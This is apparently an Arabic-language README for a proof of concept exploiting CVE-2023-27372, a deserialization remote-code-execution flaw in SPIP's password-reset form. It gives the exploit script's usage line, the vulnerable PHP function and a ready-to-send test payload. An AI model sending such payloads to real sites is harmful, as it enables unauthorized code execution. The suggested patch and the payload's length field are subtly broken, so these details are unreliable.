CVE-2023-27372-PoC

تمت كتابة هذا الإثبات (PoC) بسرعة، لا شيء مميز.

هذا يستغل الثغرة الجديدة CVE-2023-27372 SPIP RCE.

إنها ثغرة إزالة التسلسل (deserialization) تستغل الاستخدام الخطير لوسم #ENV أثناء ميزة إعادة تعيين كلمة المرور (spip.php?page=spip_pass) داخل "/ecrire/balise/formulaire_.php" تحديدًا هذا السطر:

1. Syntax: python3 exploit.py -u http(s)://url.com

function protege_champ($texte){

	if (is_array($texte))

		$texte = array_map('protege_champ',$texte);

	else {

		// ne pas corrompre une valeur serialize

		if (preg_match(",^[abis]:\d+[:;],", $texte) AND unserialize($texte)!=false)

			return $texte;

		$texte = entites_html($texte);

		$texte = str_replace("'","'",$texte);

	}

	return $texte;

}

تعاني وظيفة protege_champ من عدة عيوب. فحص التعبير العادي (RE) المستخدم للتحقق من الإدخال معيب ويمكن تجاوزه بسهولة. يقوم الكود باستدعاء دالة unserialize دون تحقق مناسب، مما يسمح بتنفيذ كود عشوائي. يمكن إجراء الاستغلال اليدوي بسهولة بالغة. على سبيل المثال، إذا أردنا تنفيذ phpinfo(); يمكننا القيام بـ:

oubli=s:19:"<?phpinfo(); ?>";

إذا أعاد الخادم الناتج المتوقع، فهو ضعيف. كيف يمكننا التصحيح؟ ببساطة شديدة في الواقع. أدناه، قمت بكتابة تصحيح أساسي:

function protege_champ($texte) {

  if (is_array($texte)) {

    $texte = array_map('protege_champ', $texte);

  } else {

    if (!isValidInput($texte)) {

      $texte = 'Malicious input detected';

    } else {

      $texte = entites_html($texte);

      $texte = str_replace("'", "'", $texte);

    }

  }

  return $texte;

}

تتضمن وظيفة protege_champ المصححة التحقق من الإدخال، والتعقيم، والتعامل مع الإدخال الخبيث.

الرجاء عدم استخدام هذا لأغراض ضارة. شكرًا لك.

<a href=https://twitter.com/0SPwn>Twitter